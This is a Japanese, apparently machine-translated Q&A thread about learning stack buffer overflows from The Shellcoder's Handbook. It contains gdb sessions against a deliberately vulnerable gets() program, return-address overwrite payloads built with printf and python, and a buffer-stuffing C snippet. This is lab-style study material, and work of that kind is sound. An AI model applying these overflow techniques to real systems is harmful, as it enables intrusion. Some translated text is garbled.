1

この例では、シェルコーダーのハンドブック (第 2 版) を取り上げていましたが、スタックについていくつか質問があります。

root@bt:~/pentest# gdb -q sc  
Reading symbols from /root/pentest/sc...done.  
(gdb) set disassembly-flavor intel    
(gdb) list    
1   void ret_input(void){    
2       char array[30];  
3     
4       gets(array);  
5       printf("%s\n", array);  
6   }  
7   main(){  
8       ret_input();  
9     
10      return 0;  
(gdb) disas ret_input   
Dump of assembler code for function ret_input:  
   0x08048414 <+0>: push   ebp  
   0x08048415 <+1>: mov    ebp,esp  
   0x08048417 <+3>: sub    esp,0x24  
   0x0804841a <+6>: lea    eax,[ebp-0x1e]  
   0x0804841d <+9>: mov    DWORD PTR [esp],eax  
   0x08048420 <+12>:    call   0x804832c <gets@plt>  
   0x08048425 <+17>:    lea    eax,[ebp-0x1e]  
   0x08048428 <+20>:    mov    DWORD PTR [esp],eax  
   0x0804842b <+23>:    call   0x804834c <puts@plt>  
   0x08048430 <+28>:    leave    
   0x08048431 <+29>:    ret      
End of assembler dump.  
(gdb) break *0x08048420  
Breakpoint 1 at 0x8048420: file sc.c, line 4.  
(gdb) break *0x08048431  
Breakpoint 2 at 0x8048431: file sc.c, line 6.  
(gdb) run  
Starting program: /root/pentest/sc   

Breakpoint 1, 0x08048420 in ret_input () at sc.c:4  
4       gets(array);  
(gdb) x/20x $esp  
0xbffff51c: 0xbffff522  0xb7fca324  0xb7fc9ff4  0x08048460  
0xbffff52c: 0xbffff548  0xb7ea34a5  0xb7ff1030  0x0804846b  
0xbffff53c: 0xb7fc9ff4  0xbffff548  0x0804843a  0xbffff5c8  
0xbffff54c: 0xb7e8abd6  0x00000001  0xbffff5f4  0xbffff5fc  
0xbffff55c: 0xb7fe1858  0xbffff5b0  0xffffffff  0xb7ffeff4  
(gdb) continue   
Continuing.  
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDD  
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDD  

Breakpoint 2, 0x08048431 in ret_input () at sc.c:6  
6   }  
(gdb) x/20x 0x0bffff51c  
0xbffff51c: 0xbffff522  0x4141a324  0x41414141  0x41414141  
0xbffff52c: 0x42424242  0x42424242  0x43434242  0x43434343  
0xbffff53c: 0x43434343  0x44444444  0x44444444  0xbffff500  
0xbffff54c: 0xb7e8abd6  0x00000001  0xbffff5f4  0xbffff5fc  
0xbffff55c: 0xb7fe1858  0xbffff5b0  0xffffffff  0xb7ffeff4  
(gdb) ^Z  
[1]+  Stopped                 gdb -q sc  
root@bt:~/pentest# printf "AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD\x35\x84\x04\x08" | ./sc   
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD5�  
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD:�  
root@bt:~/pentest# 

この例では、RETアドレスを書き換えるために48バイトの「AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDD\x35\x84\x04\x08」を使用していましたが、すべて作業です。しかし、この本の初版の例を使用しようとすると、いくつかの問題に直面しました

root@bt:~/pentest# gdb -q sc  
Reading symbols from /root/pentest/sc...done.  
(gdb) disas ret_input   
Dump of assembler code for function ret_input:  
   0x08048414 <+0>: push   %ebp  
   0x08048415 <+1>: mov    %esp,%ebp  
   0x08048417 <+3>: sub    $0x24,%esp  
   0x0804841a <+6>: lea    -0x1e(%ebp),%eax  
   0x0804841d <+9>: mov    %eax,(%esp)  
   0x08048420 <+12>:    call   0x804832c <gets@plt>  
   0x08048425 <+17>:    lea    -0x1e(%ebp),%eax  
   0x08048428 <+20>:    mov    %eax,(%esp)   
   0x0804842b <+23>:    call   0x804834c <puts@plt>  
   0x08048430 <+28>:    leave    
   0x08048431 <+29>:    ret      
End of assembler dump.  
(gdb)   

なぜプログラムは配列に24(16進数)= 36(10進数)バイトを取ったのですか?

わかりました、本の初版からのスプロイトを試してみましょう。呼び出し関数のアドレスですべての配列を書き換えます。本の中で彼らは「sub &0x20,%esp」を持っていたので、コードは

main(){  
 int i=0;  
 char stuffing[44];  

 for (i=0;i<=40;i+=4) 
 *(long *) &stuffing[i] = 0x080484bb;  
 puts(array);  

私は ""sub &0x24,%esp" を持っているので、私のコードは

main(){  
 int i=0;  
 char stuffing[48];  

 for (i=0;i<=44;i+=4)
 *(long *) &stuffing[i] = 0x08048435;  
 puts(array); 

シェルコーダーのハンドブックの結果

 [root@localhost /]# (./adress_to_char;cat) | ./overflow  
input   
""""""""""""""""""a<u___.input  
input  
input  

そして私の結果

root@bt:~/pentest# (./ad_to_ch;cat) | ./sc  
5�h���ل$���������h����4��0��˄  
inout  
Segmentation fault  
root@bt:~/pentest#  

問題は何ですか?私はコンパイルしていました

-fno-stack-protector -mpreferred-stack-boundary=2

4

2 に答える 2

3

GDB で試して、バッファのオーバーフローに必要なバイト数を取得することをお勧めします。質問で提供されたソースをコンパイルし、GDB で実行しました。

gdb$ r < <(python -c "print('A'*30)")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[Inferior 1 (process 29912) exited normally]

(コンパイルされた C プログラムの代わりに、Python を使用して入力を作成していることに注意してください。それは実際には問題ではなく、好みのものを使用してください。)

したがって、30 バイトで問題ありません。もう少し試してみましょう:

gdb$ r < <(python -c "print('A'*50)")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
Cannot access memory at address 0x41414141
0x41414141 in ?? ()

gdb$ i r $eip
eip            0x41414141   0x41414141

eipレジスタ0x41414141にはAAAA、ASCII 形式の が含まれています。これで、更新するバッファ内の値を正確にどこに配置する必要があるかを徐々に確認できますeip

gdb$ r < <(python -c "print('A'*40+'BBBB')")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Program received signal SIGSEGV, Segmentation fault.
Cannot access memory at address 0x8004242
0x08004242 in ?? ()

Bです0x42eipこのように、 40 A's と four 's を使用した場合の半分を上書きしBました。したがって、 42 をパディングしてAから、更新する値を入れますeip

gdb$ r < <(python -c "print('A'*42+'BBBB')")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Program received signal SIGSEGV, Segmentation fault.
Cannot access memory at address 0x42424242
0x42424242 in ?? ()

を完全に制御できeipます。試してみよう。最後にブレークポイントを設定しますret_input(バイナリを再コンパイルしたため、アドレスが異なる場合があります):

gdb$ dis ret_input
Dump of assembler code for function ret_input:
   0x08048404 <+0>: push   %ebp
   0x08048405 <+1>: mov    %esp,%ebp
   0x08048407 <+3>: sub    $0x38,%esp
   0x0804840a <+6>: lea    -0x26(%ebp),%eax
   0x0804840d <+9>: mov    %eax,(%esp)
   0x08048410 <+12>:    call   0x8048310 <gets@plt>
   0x08048415 <+17>:    lea    -0x26(%ebp),%eax
   0x08048418 <+20>:    mov    %eax,(%esp)
   0x0804841b <+23>:    call   0x8048320 <puts@plt>
   0x08048420 <+28>:    leave  
   0x08048421 <+29>:    ret    
End of assembler dump.
gdb$ break *0x8048421
Breakpoint 1 at 0x8048421

eip例として、から戻るret_inputと、再び関数の先頭になるように変更してみましょう。

gdb$ r < <(python -c "print('A'*42+'\x04\x84\x04\x08')")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�    

--------------------------------------------------------------------------[code]
=> 0x8048421 <ret_input+29>:    ret    
   0x8048422 <main>:    push   ebp
   0x8048423 <main+1>:  mov    ebp,esp
   0x8048425 <main+3>:  and    esp,0xfffffff0
   0x8048428 <main+6>:  call   0x8048404 <ret_input>
   0x804842d <main+11>: mov    eax,0x0
   0x8048432 <main+16>: leave  
   0x8048433 <main+17>: ret    
--------------------------------------------------------------------------------

Breakpoint 1, 0x08048421 in ret_input ()

42 をパディングしてから、アドレスをバッファーAに追加します。トリガー ret_inputのブレークポイント。ret

gdb$ x/w $esp
0xffffd30c: 0x08048404

スタックの一番上には、 buffer -ret_inputのアドレスの最後の DWORD があります。

gdb$ n
0x08048404 in ret_input ()    

gdb$ i r $eip
eip            0x8048404    0x8048404 <ret_input>

次の命令を実行すると、その値がスタックからポップされ、eipそれに応じて設定されます。

余談ですが、この男からの .gdbinit ファイルをお勧めします。

于 2012-08-14T11:11:13.943 に答える
1

この行:

for (i=o;i<=44;i+=4);

;を端から外します。また、ここでoは 0 (ゼロ) ではなく (文字 o) がタイプミスされていると思います。

問題は、i が 44 より大きくなるまで for ループが実行されている;(何もしない)ことです。次にi = 44、配列の境界外にある次のコマンドを実行すると、 Segmentation Error. このタイプのエラーはほとんど目に見えず、完全に有効な C コードであるため、注意する必要があります。

于 2012-08-13T15:35:10.740 に答える